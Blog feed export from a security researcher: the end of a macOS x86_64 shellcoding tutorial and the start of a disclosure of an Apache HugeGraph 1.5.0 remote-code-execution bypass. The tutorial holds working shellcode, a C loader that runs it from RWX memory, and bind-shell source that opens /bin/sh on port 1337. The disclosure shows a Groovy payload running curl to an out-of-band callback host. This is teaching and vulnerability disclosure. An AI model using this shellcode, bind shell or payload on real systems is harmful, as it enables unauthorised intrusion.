highlighter-rouge">array</code> executes. The <code class="language-plaintext highlighter-rouge">db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0</code> provides the NUL-terminated command that <code class="language-plaintext highlighter-rouge">zsh -c</code> will execute. Then, At <code class="language-plaintext highlighter-rouge">array</code>  label we will build the <code class="language-plaintext highlighter-rouge">argp</code> array by <code class="language-plaintext highlighter-rouge">push rbx</code> (push pointer to <code class="language-plaintext highlighter-rouge">"-c"</code>) and <code class="language-plaintext highlighter-rouge">push rdi</code> (push pointer to <code class="language-plaintext highlighter-rouge">"/bin/zsh"</code>), then <code class="language-plaintext highlighter-rouge">mov rsi, rsp</code> sets <code class="language-plaintext highlighter-rouge">RSI</code> to point at that array so <code class="language-plaintext highlighter-rouge">execve</code> receives <code class="language-plaintext highlighter-rouge">argp</code> correctly. Following <code class="language-plaintext highlighter-rouge">xor rdx, rdx</code> sets <code class="language-plaintext highlighter-rouge">RDX = 0</code> so <code class="language-plaintext highlighter-rouge">envp</code> is <code class="language-plaintext highlighter-rouge">NULL</code>. <code class="language-plaintext highlighter-rouge">mov rax, 0x200003B</code> loads the <code class="language-plaintext highlighter-rouge">BSD</code> syscall number for <code class="language-plaintext highlighter-rouge">execve</code>.</p>

<blockquote>
  <p>Note: <code class="language-plaintext highlighter-rouge">0x3B</code> = 59 decimal → <code class="language-plaintext highlighter-rouge">execve</code></p>
</blockquote>

<p>And <code class="language-plaintext highlighter-rouge">syscall</code> invokes the kernel to execute <code class="language-plaintext highlighter-rouge">execve(filename, argv, envp)</code>. If <code class="language-plaintext highlighter-rouge">execve</code> returns (i.e., it failed) the code falls through to <code class="language-plaintext highlighter-rouge">mov rax, 0x2000001</code> / <code class="language-plaintext highlighter-rouge">mov rdi, 0</code> / <code class="language-plaintext highlighter-rouge">syscall</code> which calls the <code class="language-plaintext highlighter-rouge">exit</code> syscall to terminate the process.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 execute.asm                                                                                                          
shellcoding % ld <span class="nt">-o</span> execute execute.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macOS 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'/Users/zeyadazima.com/shellcoding/execute.o'</span>, assuming: macOS
shellcoding % <span class="nb">ls</span> /tmp
node-compile-cache OSL_PIPE_501_SingleOfficeIPC	powerlog
shellcoding % ./execute                                                                                                                            
shellcoding % <span class="nb">ls</span> /tmp  
node-compile-cache OSL_PIPE_501_SingleOfficeIPC	powerlog Pwned.txt
/tmp % <span class="nb">cat </span>Pwned.txt 
W00tW00t
</code></pre></div></div>

<p>We can see clearly, That our shellcode is executed successfully and our file created.</p>

<h1 id="extract-shellcode">Extract Shellcode</h1>

<p>Now, Let’s extract our shellcode from the object file, So if we need to send it with our exploit. We will use <code class="language-plaintext highlighter-rouge">objdump</code> tool and will show also how to do it with <code class="language-plaintext highlighter-rouge">otool</code>.</p>

<h2 id="objdump">objdump</h2>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% objdump <span class="nt">--disassemble</span> <span class="nt">--x86-asm-syntax</span><span class="o">=</span>intel ~/shellcoding/execute.o

execute.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 &lt;_main&gt;:
       0: 48 31 c9                     	xor	rcx, rcx
       3: 51                           	push	rcx
       4: 48 ba 2f 62 69 6e 2f 7a 73 68	movabs	rdx, 0x68737a2f6e69622f
       e: 52                           	push	rdx
       f: 48 89 e7                     	mov	rdi, rsp
      12: bb 2d 63 00 00               	mov	ebx, 0x632d
      17: 53                           	push	rbx
      18: 48 89 e3                     	mov	rbx, rsp
      1b: 51                           	push	rcx
      1c: e8 21 00 00 00               	call	0x42 &lt;array&gt;
      21: 65 63 68 6f                  	movsxd	ebp, dword ptr gs:[rax + 0x6f]
      25: 20 22                        	and	byte ptr <span class="o">[</span>rdx], ah
      27: 57                           	push	rdi
      28: 30 30                        	xor	byte ptr <span class="o">[</span>rax], dh
      2a: 74 57                        	je	0x83 &lt;array+0x41&gt;
      2c: 30 30                        	xor	byte ptr <span class="o">[</span>rax], dh
      2e: 74 22                        	je	0x52 &lt;array+0x10&gt;
      30: 20 3e                        	and	byte ptr <span class="o">[</span>rsi], bh
      32: 20 2f                        	and	byte ptr <span class="o">[</span>rdi], ch
      34: 74 6d                        	je	0xa3 &lt;array+0x61&gt;
      36: 70 2f                        	jo	0x67 &lt;array+0x25&gt;
      38: 50                           	push	rax
      39: 77 6e                        	ja	0xa9 &lt;array+0x67&gt;
      3b: 65 64 2e 74 78               	je	0xb8 &lt;array+0x76&gt;
      40: 74 00                        	je	0x42 &lt;array&gt;

0000000000000042 &lt;array&gt;:
      42: 53                           	push	rbx
      43: 57                           	push	rdi
      44: 48 89 e6                     	mov	rsi, rsp
      47: 48 31 d2                     	xor	rdx, rdx
      4a: b8 3b 00 00 02               	mov	eax, 0x200003b
      4f: 0f 05                        	syscall
      51: b8 01 00 00 02               	mov	eax, 0x2000001
      56: bf 00 00 00 00               	mov	edi, 0x0
      5b: 0f 05                        	syscall

</code></pre></div></div>

<ul>
  <li>Here we can see our dissassembled code clearly and the array, etc. We need to save this into file</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>objdump <span class="nt">--disassemble</span> <span class="nt">--x86-asm-syntax</span><span class="o">=</span>intel ~/shellcoding/execute.o <span class="o">&gt;</span> execute.disasm
</code></pre></div></div>

<ul>
  <li>Now, Let’s extract the hex bytes from the <code class="language-plaintext highlighter-rouge">execute.disasm</code> file. Using command line utilities.</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'^[[:space:]]+[0-9a-f]+:'</span> execute.disasm <span class="se">\</span>
  | <span class="nb">awk</span> <span class="s1">'{for(i=2;i&lt;=NF;i++) if ($i ~ /^[0-9a-f]{2}$/) printf "%s", $i}'</span> <span class="se">\</span>
  | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n'</span> <span class="o">&gt;</span> shellcode.hex
shellcoding% <span class="nb">cat </span>shellcode.hex 
4831c95148ba2f62696e2f7a7368524889e7bb2d630000534889e351e8210000006563686f2022573030745730307422203e202f746d702f50776e65642e7478740053574889e64831d2b83b0000020f05b801000002bf000000000f05
</code></pre></div></div>

<ul>
  <li>Convert it to binary</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% xxd <span class="nt">-r</span> <span class="nt">-p</span> shellcode.hex <span class="o">&gt;</span> shellcode.bin
</code></pre></div></div>

<ul>
  <li>Let’s Check the Shellcode size</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% <span class="nb">wc</span> <span class="nt">-c</span> shellcode.bin
      93 shellcode.bin // 93 bytes
</code></pre></div></div>

<ul>
  <li>Generate <code class="language-plaintext highlighter-rouge">C</code> array of bytes for the shellcode</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% xxd <span class="nt">-i</span> shellcode.bin <span class="o">&gt;</span> shellcode.h
shellcoding% <span class="nb">cat </span>shellcode.h
unsigned char shellcode_bin[] <span class="o">=</span> <span class="o">{</span>
  0x48, 0x31, 0xc9, 0x51, 0x48, 0xba, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x7a,
  0x73, 0x68, 0x52, 0x48, 0x89, 0xe7, 0xbb, 0x2d, 0x63, 0x00, 0x00, 0x53,
  0x48, 0x89, 0xe3, 0x51, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68,
  0x6f, 0x20, 0x22, 0x57, 0x30, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22,
  0x20, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65,
  0x64, 0x2e, 0x74, 0x78, 0x74, 0x00, 0x53, 0x57, 0x48, 0x89, 0xe6, 0x48,
  0x31, 0xd2, 0xb8, 0x3b, 0x00, 0x00, 0x02, 0x0f, 0x05, 0xb8, 0x01, 0x00,
  0x00, 0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05
<span class="o">}</span><span class="p">;</span>
unsigned int shellcode_bin_len <span class="o">=</span> 93<span class="p">;</span>
</code></pre></div></div>

<h2 id="otool">otool</h2>

<ul>
  <li>Extract Raw Section Bytes</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% otool <span class="nt">-s</span> __TEXT __text ~/shellcoding/execute.o <span class="se">\</span>
  | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'3,$p'</span> <span class="se">\</span>
  | <span class="nb">awk</span> <span class="s1">'{ for(i=2;i&lt;=NF;i++) printf "%s",$i } END{ print "" }'</span> <span class="o">&gt;</span> shellcode_otool.hex
shellcoding% <span class="nb">cat </span>shellcode_otool.hex 
4831c95148ba2f62696e2f7a7368524889e7bb2d630000534889e351e8210000006563686f2022573030745730307422203e202f746d702f50776e65642e7478740053574889e64831d2b83b0000020f05b801000002bf000000000f05
</code></pre></div></div>

<ul>
  <li>Convert to binary <code class="language-plaintext highlighter-rouge">xxd</code></li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding% xxd <span class="nt">-r</span> <span class="nt">-p</span> shellcode_otool.hex <span class="o">&gt;</span> shellcode_otool.bin
</code></pre></div></div>

<ul>
  <li>Check shellcode length</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Shellcoding% <span class="nb">wc</span> <span class="nt">-c</span> shellcode_otool.bin
      93 shellcode_otool.bin
</code></pre></div></div>

<ul>
  <li>Convert it to <code class="language-plaintext highlighter-rouge">C</code> array</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Shellcoding% <span class="nb">cat </span>shellcode_otool.h
unsigned char shellcode_otool_bin[] <span class="o">=</span> <span class="o">{</span>
  0x48, 0x31, 0xc9, 0x51, 0x48, 0xba, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x7a,
  0x73, 0x68, 0x52, 0x48, 0x89, 0xe7, 0xbb, 0x2d, 0x63, 0x00, 0x00, 0x53,
  0x48, 0x89, 0xe3, 0x51, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68,
  0x6f, 0x20, 0x22, 0x57, 0x30, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22,
  0x20, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65,
  0x64, 0x2e, 0x74, 0x78, 0x74, 0x00, 0x53, 0x57, 0x48, 0x89, 0xe6, 0x48,
  0x31, 0xd2, 0xb8, 0x3b, 0x00, 0x00, 0x02, 0x0f, 0x05, 0xb8, 0x01, 0x00,
  0x00, 0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05
<span class="o">}</span><span class="p">;</span>
unsigned int shellcode_otool_bin_len <span class="o">=</span> 93<span class="p">;</span>
</code></pre></div></div>

<h2 id="test-shellcode-with-loader">Test Shellcode with Loader</h2>

<p>Now, Let’s write a loader in <code class="language-plaintext highlighter-rouge">C</code> to try and execute our shellcode.</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;stdlib.h&gt;

int main(void) {
    unsigned char code[] = {
      0x48, 0x31, 0xc9, 0x51, 0x48, 0xba, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x7a,
      0x73, 0x68, 0x52, 0x48, 0x89, 0xe7, 0xbb, 0x2d, 0x63, 0x00, 0x00, 0x53,
      0x48, 0x89, 0xe3, 0x51, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68,
      0x6f, 0x20, 0x22, 0x57, 0x30, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22,
      0x20, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65,
      0x64, 0x2e, 0x74, 0x78, 0x74, 0x00, 0x53, 0x57, 0x48, 0x89, 0xe6, 0x48,
      0x31, 0xd2, 0xb8, 0x3b, 0x00, 0x00, 0x02, 0x0f, 0x05, 0xb8, 0x01, 0x00,
      0x00, 0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05
    };
    size_t len = sizeof(code);

    pid_t pid = fork();
    if (pid &lt; 0) {
        perror("fork");
        return 1;
    }

    if (pid == 0) {
        // child: allocate RWX, copy shellcode and execute
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);

        // print from child so you can see it if child doesn't get replaced
        printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
        fflush(stdout);

        int (*func)() = (int(*)())exec;
        int r = func(); // if shellcode calls execve, child will be replaced
        // If returned, report and exit child
        printf("[child %d] shellcode returned %d\n", getpid(), r);
        fflush(stdout);
        _exit(r &amp; 0xFF);
    } else {
        // parent: wait for child and then check side-effect
        int status = 0;
        printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
        fflush(stdout);

        if (waitpid(pid, &amp;status, 0) == -1) {
            perror("waitpid");
            return 2;
        }

        if (WIFEXITED(status)) {
            printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
        } else if (WIFSIGNALED(status)) {
            printf("[parent] child killed by signal %d\n", WTERMSIG(status));
        } else {
            printf("[parent] child ended with status 0x%x\n", status);
        }

        // small sleep to allow any async side-effects to settle
        usleep(200000);

        const char *check_path = "/tmp/Pwned.txt";
        if (access(check_path, F_OK) == 0) {
            printf("[parent] Success: '%s' exists.\n", check_path);
            return 0;
        } else {
            printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
                   check_path, errno, strerror(errno));
            return 3;
        }
    }
}
</code></pre>

<p>The loader’s job is simple: it stores raw machine-code bytes (the shellcode) in a C <code class="language-plaintext highlighter-rouge">unsigned char</code> array, allocates a memory region with execute permission, copies the bytes into that region, casts the region pointer to a function pointer, and then calls it. That direct transfer of control is what lets the program run arbitrary machine code in the address space of the process. Because the shellcode can call <code class="language-plaintext highlighter-rouge">execve</code>, <code class="language-plaintext highlighter-rouge">_exit</code>, crash, or otherwise change the process state, the loader must be written with the understanding that control might never return to the original C runtime after the call into the shellcode. In the original single-process loader, <code class="language-plaintext highlighter-rouge">unsigned char code[] = { ... };</code> places the bytes in the program’s data segment; <code class="language-plaintext highlighter-rouge">size_t len = sizeof(code);</code> computes the number of bytes to map and copy. The program then calls <code class="language-plaintext highlighter-rouge">mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE, -1, 0)</code>. This requests an anonymous (no-file-back) memory mapping with read, write and execute permissions; <code class="language-plaintext highlighter-rouge">NULL</code> lets the kernel choose the address, <code class="language-plaintext highlighter-rouge">len</code> is the requested size, and <code class="language-plaintext highlighter-rouge">MAP_ANON|MAP_PRIVATE</code> means the mapping is private and not backed by a file. If <code class="language-plaintext highlighter-rouge">mmap</code> fails (returns <code class="language-plaintext highlighter-rouge">MAP_FAILED</code>) the loader prints the error and exits. After a successful mapping the loader uses <code class="language-plaintext highlighter-rouge">memcpy(exec, code, len)</code> to place the shellcode bytes into the mapped pages, then casts the <code class="language-plaintext highlighter-rouge">void *</code> returned by <code class="language-plaintext highlighter-rouge">mmap</code> to a function pointer (<code class="language-plaintext highlighter-rouge">int (*func)() = (int(*)())exec;</code>) and calls <code class="language-plaintext highlighter-rouge">func()</code>. Casting a data pointer to a code pointer and invoking it is implementation-defined in the C standard, but is the de‑facto technique used on <code class="language-plaintext highlighter-rouge">POSIX</code> systems for this purpose. What can happen when the call to <code class="language-plaintext highlighter-rouge">func()</code> executes depends entirely on what the shellcode does. If the shellcode is written to return cleanly it will restore registers and the stack appropriately and the loader continues execution after the call. If the shellcode invokes <code class="language-plaintext highlighter-rouge">execve()</code> successfully, the kernel replaces the entire process image with a new program, so none of the loader’s code after the call executes. If the shellcode calls <code class="language-plaintext highlighter-rouge">_exit()</code> or the process receives a fatal signal (segfault, illegal instruction), the process terminates and again no post-call statements run. Shellcode that corrupts the stack or registers without restoring them will also produce undefined behavior in the loader when control returns. In short: seeing only the pre-exec print usually means the shellcode either replaced or terminated the process or crashed it before your post-exec prints could run. A forked-loader variant is useful because it isolates the untrusted shellcode in a child process while the parent remains alive to observe results. When the program <code class="language-plaintext highlighter-rouge">fork()</code>, the child repeats the mapping, copy and invocation of the shellcode; any <code class="language-plaintext highlighter-rouge">execve</code> or <code class="language-plaintext highlighter-rouge">_exit</code> inside the child affects only the child. The parent calls <code class="language-plaintext highlighter-rouge">waitpid(child, &amp;status, 0)</code> to get the child’s exit status and can report whether the child exited normally, was killed by a signal, or returned a particular code. The parent can also check for side-effects such as files written by the child (for example <code class="language-plaintext highlighter-rouge">/tmp/Pwned.txt</code>) and print reliable diagnostics. This pattern is ideal for debugging shellcode that tends to replace or terminate its host process — the parent becomes the stable observer.</p>

<ul>
  <li>Compile and Test the shellcode with the loader</li>
</ul>

<pre><code class="language-C">zeyadazima.com% clang -o cloader cloader.c
zeyadazima.com% ./cloader 
[parent 29373] spawned child 29374, waiting...
[child 29374] executing shellcode (93 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
</code></pre>

<p>As we can see our shellcode executed successfully with no issues.</p>

<h1 id="exercises">Exercises</h1>

<p>If you want to dive deeper more, you can do this exercise which is involving in creating a <code class="language-plaintext highlighter-rouge">BindShell</code> shellcode and execute it.</p>

<p>Here all the things you need for the excersice:</p>

<ul>
  <li>BindShell <code class="language-plaintext highlighter-rouge">C</code> code</li>
</ul>

<pre><code class="language-C">// Source - https://stackoverflow.com/q
// Posted by gatorface, modified by community. See post 'Timeline' for change history
// Retrieved 2025-11-10, License - CC BY-SA 3.0

// Author:  Julien Ahrens (@MrTuxracer)
// Website:  http://www.rcesecurity.com 

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;

int main(void)
{
    int i; // used for dup2 later
    int sockfd; // socket file descriptor
    int clientfd; // client file descriptor
    socklen_t socklen; // socket-length for new connections

    struct sockaddr_in srv_addr; // server aka listen address
    struct sockaddr_in cli_addr; // client address

    srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
    srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
    srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order

    // create new TCP socket
    sockfd = socket(2, 1, 0);

    // bind socket
    bind( sockfd, (struct sockaddr *)&amp;srv_addr, sizeof(srv_addr) );

    // listen on socket
    listen(sockfd, 0);

    // accept new connections
    socklen = sizeof(cli_addr);
    clientfd = accept(sockfd, (struct sockaddr *)&amp;cli_addr, &amp;socklen );

    // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
    for(i = 0; i &lt;= 2; i++)
        dup2(clientfd, i);

    // magic
    // execve( "/bin/sh", NULL, NULL );

    //UPDATE: fixed exec call, shell still not returned to
    // client connecting with execl or proper execve
    execl("/bin/sh", "/bin/sh", (char *)NULL);
}

</code></pre>

<p>Tasks:</p>

<ul>
  <li>Use <code class="language-plaintext highlighter-rouge">execve()</code> instead of <code class="language-plaintext highlighter-rouge">execl</code></li>
  <li>Collect the syscall for <code class="language-plaintext highlighter-rouge">socket</code>,<code class="language-plaintext highlighter-rouge">bind</code>,<code class="language-plaintext highlighter-rouge">listen</code>,<code class="language-plaintext highlighter-rouge">accept</code> and <code class="language-plaintext highlighter-rouge">dup2</code>. As you will use it to build your <code class="language-plaintext highlighter-rouge">BindShell</code>.</li>
  <li>Study the functions arguments and get it ready for the functions/syscalls</li>
  <li>Make sure to go around with the <code class="language-plaintext highlighter-rouge">struct</code>, Cause it’s similler to the way we built arrays</li>
  <li>Make sure to use the kernel source code to hop-around to find a variable value, like the <code class="language-plaintext highlighter-rouge">#define AF_INET</code> for example and explore the source code to help you creating your shellcode.</li>
</ul>

<h2 id="help-">Help ?</h2>

<p>If you got any questions or need help, You can contact me:</p>
<ul>
  <li><a href="https://www.linkedin.com/in/zer0verflow/">Linkedin</a></li>
  <li><a href="https://x.com/AzimaZeyad">Twitter/X</a></li>
  <li>Email: <a href="mailto:contact@zeyadazima.com">contact@zeyadazima.com</a></li>
  <li>Discord: <code class="language-plaintext highlighter-rouge">.killer_1337</code> including <code class="language-plaintext highlighter-rouge">.</code></li>
</ul>

<h1 id="conclusion">Conclusion</h1>

<p>We explored the fundamentals of writing shellcode on <code class="language-plaintext highlighter-rouge">macOS</code> for the <code class="language-plaintext highlighter-rouge">x86_64</code> architecture. We set up a proper lab environment, understood the <code class="language-plaintext highlighter-rouge">XNU</code> kernel and its syscall classes, and clarified calling conventions and register usage crucial for crafting shellcode. By following a structured workflow—starting from <code class="language-plaintext highlighter-rouge">C</code> code, identifying syscalls, converting to assembly, and handling arguments—we successfully created shellcodes for printing text, terminating processes, and executing commands. Through these examples, we demonstrated practical techniques such as handling arguments on the stack, using position-independent code, and correctly invoking syscalls in the <code class="language-plaintext highlighter-rouge">BSD</code> subsystem of <code class="language-plaintext highlighter-rouge">macOS</code>. This foundation sets the stage for more advanced topics.</p>

<h1 id="references">References</h1>

<ul>
  <li>https://codebrowser.dev/</li>
  <li>https://man.freebsd.org/</li>
  <li>https://pubs.opengroup.org</li>
  <li>https://man7.org/linux/man-pages/</li>
  <li>https://opensource.apple.com/releases/</li>
  <li>https://github.com/apple-oss-distributions/xnu</li>
  <li>https://xcodereleases.com</li>
  <li>https://newosxbook.com</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="MacOS" /><category term="MacOS" /><summary type="html"><![CDATA[Pt.1 macOS Shellcoding in depth on x86_64.]]></summary></entry><entry><title type="html">Bypass 2 RCE: Apache HugeGraph Server</title><link href="https://zeyadazima.com/exploit%20development/rce_hugegraph/" rel="alternate" type="text/html" title="Bypass 2 RCE: Apache HugeGraph Server" /><published>2025-09-18T00:00:00+00:00</published><updated>2025-09-18T00:00:00+00:00</updated><id>https://zeyadazima.com/exploit%20development/rce_hugegraph</id><content type="html" xml:base="https://zeyadazima.com/exploit%20development/rce_hugegraph/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>During my ongoing security research into Apache products, specifically focusing on Remote Code Execution (RCE) vulnerabilities, I discovered a fascinating and critical flaw in Apache HugeGraph Server’s latest version(1.5.0). This vulnerability represents a unique case where the same malicious payload that gets consistently blocked during individual testing can successfully execute when sent as part of bulk concurrent requests.</p>

<h1 id="background-previous-work">Background: Previous Work</h1>

<p>My journey with HugeGraph began with analyzing <a href="https://github.com/Zeyad-Azima/CVE-2024-27348">CVE-2024-27348</a>, a vulnerability I previously worked-on that allowed bypassing sandbox restrictions to achieve RCE through Gremlin. You can read my detailed analysis <a href="https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/">here</a> for more understanding of the <code class="language-plaintext highlighter-rouge">SecurityManager</code> and How it executes scripts.</p>

<p>After that discovery, I became determined to find ways to bypass the subsequent security mitigations implemented by the Apache team. My initial manual testing with various payloads yielded nothing promising—every attack vector seemed to be properly blocked by the enhanced SecurityManager.</p>

<h1 id="the-unexpected-discovery">The Unexpected Discovery</h1>

<p>Frustrated by the apparent effectiveness of the new security controls, I decided to automate my testing approach. I asked an LLM to generate a comprehensive testing script that would include multiple different payloads and test them systematically. The generated script included over 50 different attack payloads across 3 different testing approaches. When I executed this bulk testing script, something unexpected happened: <strong>some payloads were getting accepted and executing successfully</strong>. Initially, I assumed this was normal behavior—perhaps some payloads had found new bypass techniques. However, when I extracted these “successful” payloads to test them individually for debugging purposes, the SecurityManager blocked every single one. Confused, I ran the bulk script again. This time, <strong>different payloads that had been blocked before were now succeeding</strong>. This inconsistent behavior was the key that unlocked a much deeper vulnerability.</p>

<h1 id="the-analysis">The Analysis</h1>

<p>After extensive analysis, I discovered that the root cause might be a <strong>Time-of-Check Time-of-Use (TOCTOU) race condition</strong> in the <code class="language-plaintext highlighter-rouge">HugeSecurityManager</code> class. The vulnerability exists in how the SecurityManager determines whether a dangerous operation (like <code class="language-plaintext highlighter-rouge">Runtime.exec()</code>) is being called from within Gremlin/Groovy execution context.</p>

<p>Here’s the vulnerable code in <code class="language-plaintext highlighter-rouge">hugegraph-core/src/main/java/org/apache/hugegraph/security/HugeSecurityManager.java</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">callFromWorkerWithClass</span><span class="o">(</span><span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">classes</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Thread</span> <span class="n">curThread</span> <span class="o">=</span> <span class="nc">Thread</span><span class="o">.</span><span class="na">currentThread</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">curThread</span><span class="o">.</span><span class="na">getName</span><span class="o">().</span><span class="na">startsWith</span><span class="o">(</span><span class="no">GREMLIN_SERVER_WORKER</span><span class="o">)</span> <span class="o">||</span>
        <span class="n">curThread</span><span class="o">.</span><span class="na">getName</span><span class="o">().</span><span class="na">startsWith</span><span class="o">(</span><span class="no">TASK_WORKER</span><span class="o">))</span> <span class="o">{</span>

        <span class="c1">// RACE CONDITION</span>
        <span class="nc">StackTraceElement</span><span class="o">[]</span> <span class="n">elements</span> <span class="o">=</span> <span class="n">curThread</span><span class="o">.</span><span class="na">getStackTrace</span><span class="o">();</span>  <span class="c1">// ← NON-ATOMIC</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">StackTraceElement</span> <span class="n">element</span> <span class="o">:</span> <span class="n">elements</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">String</span> <span class="n">className</span> <span class="o">=</span> <span class="n">element</span><span class="o">.</span><span class="na">getClassName</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">classes</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">className</span><span class="o">))</span> <span class="o">{</span>  <span class="c1">// ← Looking for GremlinGroovyScriptEngine</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The vulnerability exists in the timing window between <code class="language-plaintext highlighter-rouge">Thread.currentThread().getStackTrace()</code>, which captures a snapshot of the current stack, and the subsequent iteration loop that checks each stack frame for Gremlin classes. During concurrent request processing, this window allows for stack frame corruption from other simultaneous operations, missing Gremlin classes due to asynchronous cleanup, stale stack traces that fail to reflect the current execution context, and thread pool pollution from other requests.</p>

<p>So, Basically it might be as the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Thread: gremlin-server-exec-5 (correct thread name ✓)
StackTraceElement[] elements = curThread.getStackTrace();

RACE CONDITION: Between getStackTrace() and the iteration loop,
the stack can be modified by:
- Other concurrent Gremlin requests
- Asynchronous operations
- Thread pool management
- JVM stack frame cleanup

for (StackTraceElement element : elements) {
    // elements[] now contains STALE/CORRUPTED stack trace
    // Missing GremlinGroovyScriptEngine due to timing
    String className = element.getClassName();
    if (classes.contains(className)) {  // Returns FALSE (incorrect!)
        return true;
    }
}
return false;  // ← INCORRECTLY returns false → RCE ALLOWED! ❌
</code></pre></div></div>

<h2 id="non-atomic">Non-Atomic</h2>
<p>Another  issue with this vulnerability lies in the reliance on non-atomic operations for security checks, rendering them unreliable under concurrent load. The problematic code is as follows:</p>

<pre><code class="language-Java">@Override
public void checkExec(String cmd) {
    if (callFromGremlin()) {  // ← This check can fail inconsistently
        throw newSecurityException("Not allowed to execute command via Gremlin");
    }
    super.checkExec(cmd);  // ← Command executes if check returns false
}
</code></pre>

<p>In high-concurrency scenarios, rapid thread context switching causes stack frames to become polluted by parallel operations, while background tasks disrupt stack trace consistency. The absence of synchronization mechanisms leaves the critical security check unprotected, allowing the vulnerability to manifest unpredictably and making it exploitable under production load conditions.</p>

<blockquote>
  <p>Note: When I take a look at the server logs it was some exceptions and some payloads gets error on the logging but it pass and gets executed, Others show “?” mark with-in the logs.</p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2025-09-17 22:37:02 [gremlin-server-exec-9] [ERROR] o.a.t.g.g.j.GremlinGroovyScriptEngine - Script compilation FAILED try { def proc = java.lang.Runtime.getRuntime().exec('curl -s http://[sub].oast.fun/closeable-1758148622'); proc.waitFor(); } catch(Exception e) { e.printStackTrace(); } 'executed' took 6ms org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script10.groovy: 1: unexpected token: executed @ line 1, column 199.
   n e) { e.printStackTrace(); } 'executed'
                                 ^

1 error

